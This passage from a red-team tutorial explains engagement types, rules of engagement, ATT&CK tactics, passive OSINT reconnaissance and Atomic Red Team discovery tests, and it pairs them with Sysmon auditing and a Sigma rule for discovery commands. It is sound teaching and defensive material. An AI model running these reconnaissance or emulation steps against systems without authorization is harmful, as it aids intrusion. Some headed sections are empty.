These methodologies describe how to test; ATT&CK describes how adversaries behave. A red team uses PTES/NIST for process discipline and ATT&CK as the operating language to choose and document technique-level actions.

4. Engagement Types Deep Dive

Engagement format is chosen by organizational maturity and the question being answered.

In an Assumed Breach, the client grants the foothold — executing a payload, issuing a single-use VPN or VDI session, or staging a “stolen laptop” scenario — so the team skips Initial Access and focuses on post-exploitation.

Knowledge levels cut across all formats:

Low-maturity orgs benefit most from purple or objective-based work; mature orgs with a functioning SOC gain the most from full-scope, unannounced engagements.

5. MITRE ATT&CK as the Red Team Operating Language

MITRE ATT&CK is a globally recognized knowledge base of adversary tactics and techniques built from real-world observations. It gives red and blue a common language: tactics are the adversary’s objectives, techniques are how they achieve them, and procedures are the specific implementations.

The Enterprise Matrix spans Windows, macOS, Linux, and cloud, organized into 14 tactics: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.

ATT&CK Navigator lets teams annotate technique coverage as a JSON layer — color and score per technique — to track what was attempted, alerted, or blocked.

{
  "name": "Engagement-2024 Coverage",
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d", "comment": "Initial access - undetected" },
    { "techniqueID": "T1059.001", "score": 50,  "color": "#fce93a", "comment": "Executed - alerted, not blocked" },
    { "techniqueID": "T1003.001", "score": 0,   "color": "#31a354", "comment": "Blocked by Credential Guard" }
  ]
}

Although ATT&CK was created to support adversary emulation, it is equally valuable to blue teams for detection, hunting, and response — which is precisely why red teams document in ATT&CK terms.

6. The Engagement Lifecycle

The Red Team Guide condenses execution into three macro-phases: gain access, establish persistence, and perform operational impact. Expanded against ATT&CK tactics, the flow is:

Pre-Engagement ──► Recon ──► Initial Access ──► Execution ──► Persistence
   (RoE/SoW)     (TA0043)     (TA0001)          (TA0002)      (TA0003)
                                                                  │
                                                                  ▼
   Debrief/Report ◄── Exfiltration ◄── Collection ◄── Lateral Move ◄── Priv Esc
     (ATT&CK map)      (TA0010)         (TA0009)        (TA0008)       (TA0004)

Each phase produces a deliverable: pre-engagement yields the signed scope and RoE; recon yields a target profile; exploitation yields proof-of-access artifacts; reporting yields the ATT&CK-mapped findings and detection-gap backlog.

7. Rules of Engagement and Pre-Engagement

No packet is sent without written authorization. The Rules of Engagement (RoE) and Statement of Work define the legal and operational guardrails. A minimal RoE skeleton:

RULES OF ENGAGEMENT — <Client> / <Vendor>
1. Scope (in-bounds):    IP ranges, domains, cloud tenants, physical sites
2. Out-of-Scope:         Systems/data explicitly forbidden (e.g., prod payroll)
3. Authorized Actions:   Exploitation? Lateral movement? Data exfil simulation?
4. Notification State:   Announced | Unannounced (does SOC know?)
5. Deconfliction:        24/7 emergency contact, get-out-of-jail signal phrase
6. Data Handling:        Treatment of sensitive data encountered mid-op
7. Engagement Window:    Start/end dates, permitted hours
8. Legal Authorization:  Signatures, SoW reference, indemnification

The deconfliction channel and notification state are non-negotiable: they prevent a real incident response from spinning up against an authorized test and define whether the blue team is being tested blind.

8. Reconnaissance — Passive Versus Active

ATT&CK separates passive collection from active probing. T1596 (Search Open Technical Databases) sends no traffic to the target — it queries third-party indexes. T1595 (Active Scanning) probes victim infrastructure directly and is noisier and higher-risk.

import shodan, whois  # read-only OSINT libraries

api = shodan.Shodan("<authorized-engagement-key>")

# Passive WHOIS lookup — registrar/registration metadata only
record = whois.whois("scoped-target.example")
print(record.registrar, record.creation_date)

# Query Shodan's EXISTING index — no packets sent to the target host
host = api.host("203.0.113.10")
for service in host["data"]:
    print(service["port"], service["product"])

Passive recon is favored early because it leaves no trace in the target’s telemetry. Active scanning is sequenced only when scope and stealth budget permit, since it surfaces in firewall and IDS logs.

9. Adversary Emulation and the Tooling Ecosystem

Threat-informed engagements use Adversary Emulation Plans — MITRE prototype documents built from public threat reports — so operators behave like a specific group (e.g., APT29, FIN7), sticking to that actor’s known TTPs with latitude in implementation.

Atomic Red Team enables unit-style TTP testing. The pattern below runs a benign discovery technique on a lab VM to validate telemetry — it produces no harm:

# Lab VM only - benign discovery, no exploitation
Import-Module Invoke-AtomicRedTeam

# T1016 - System Network Configuration Discovery
Invoke-AtomicTest T1016 -ShowDetails
Invoke-AtomicTest T1016 -TestNumbers 1   # runs: ipconfig /all, route print

10. Red, Blue, and Purple Team Dynamics

The mode of collaboration defines the exercise. In an unannounced red team, the blue team is blind — this measures real-world detection. In a purple team, red and blue share visibility and debrief after each TTP, maximizing tradecraft coverage and detection tuning.

Purple is the fastest route to closing gaps; unannounced red is the truest measure of readiness. Mature programs alternate between them.

11. Common Attacker Techniques

A red team chains techniques across tactics. A canonical illustrative chain for teaching — not a how-to — runs:

T1566.001 Spearphishing Attachment → T1059.001 PowerShell → T1003.001 LSASS Memory → T1021.002 SMB/Admin Shares → T1048.003 Exfiltration Over Non-C2 Protocol.

MITRE ATT&CK Mapping

12. Defensive Strategies and Detection

A red team’s value is realized only when the blue team instruments the environment to measure it. Deploy Sysmon with a tuned config and enable the relevant audit policies.

Enable Audit Process Creation (feeds Sysmon EID 1 and Security EID 4688 with command-line logging), Audit Logon Events for credential-based lateral movement, Audit Object Access for exfiltration/persistence, and Audit Privilege Use for escalation. Key ETW providers include Microsoft-Windows-Kernel-Process, Microsoft-Windows-DNS-Client, AMSI, and Microsoft-Windows-PowerShell.

A foundational Sigma sketch for surfacing reconnaissance commands in process-creation telemetry:

title: Red Team Awareness - Host & Domain Discovery Commands
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4688
    CommandLine|contains:
      - 'ipconfig /all'
      - 'route print'
      - 'net group "Domain Admins"'
  condition: selection
level: low

After the engagement, generate a coverage report and feed it into ATT&CK Navigator to drive a prioritized detection backlog:

TACTICS = {
    "T1596": "Reconnaissance", "T1566.001": "Initial Access",
    "T1059.001": "Execution",  "T1003.001": "Credential Access",
    "T1021.002": "Lateral Movement", "T1041": "Exfiltration",
}
detected = {"T1059.001", "T1003.001"}   # techniques the SOC alerted on

for tid, tactic in TACTICS.items():
    status = "HIT" if tid in detected else "GAP"
    print(f"[{status}] {tactic:20} {tid}")

Adopt an assume-breach posture: segment networks so lateral movement is detectable and costly, enable PowerShell Script Block Logging via GPO, and turn on command-line auditing. Map successful detections and missed techniques back to the ATT&CK matrix to build the remediation backlog.

13. Tools for Red Team Operations

Summary

• Red teaming is objective-driven adversary simulation that measures detection and response — not exhaustive vulnerability enumeration.
• The adversarial mindset is objective-first, stealth-conscious, and iterative, anchored on an assume-breach premise.
• Engagement type (full scope, assumed breach, objective-based, threat-informed, purple) is chosen by organizational maturity and the question being asked.
• MITRE ATT&CK’s 14 tactics provide the common language that lets red document operations and blue translate findings into detections.
• Every offensive TTP is paired with Sysmon/audit telemetry and an ATT&CK-mapped debrief that produces a prioritized detection-gap backlog.

Related Tutorials

• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• OPSEC Principles for Red Teamers: Staying Undetected
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

References

• Get Started: Adversary Emulation and Red Teaming | MITRE ATT&CK®
• Adversary Emulation Plans | MITRE ATT&CK®
• Azure Security Control: Penetration Tests and Red Team Exercises | Microsoft Learn
• Microsoft AI Red Team: Building the Future of Safer AI | Microsoft Security Blog
• Getting Started with ATT&CK: Adversary Emulation and Red Teaming | MITRE ATT&CK® (Medium)
• Planning Red Teaming for Large Language Models and Their Applications | Microsoft Learn